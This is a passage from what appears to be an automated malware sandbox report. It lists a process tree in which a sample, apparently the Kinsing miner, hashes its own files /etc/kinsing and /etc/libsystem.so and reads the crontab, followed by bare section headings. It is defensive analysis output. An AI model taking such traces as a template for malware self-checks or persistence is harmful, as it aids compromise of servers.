                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            md5sum /etc/kinsing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:529
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:530
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                md5sum /etc/kinsing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:538
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:539
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    md5sum /etc/libsystem.so
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:542
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:543
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        md5sum /etc/libsystem.so
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:549
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:550
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            md5sum /etc/libsystem.so
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:556
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:557
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:748

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Downloads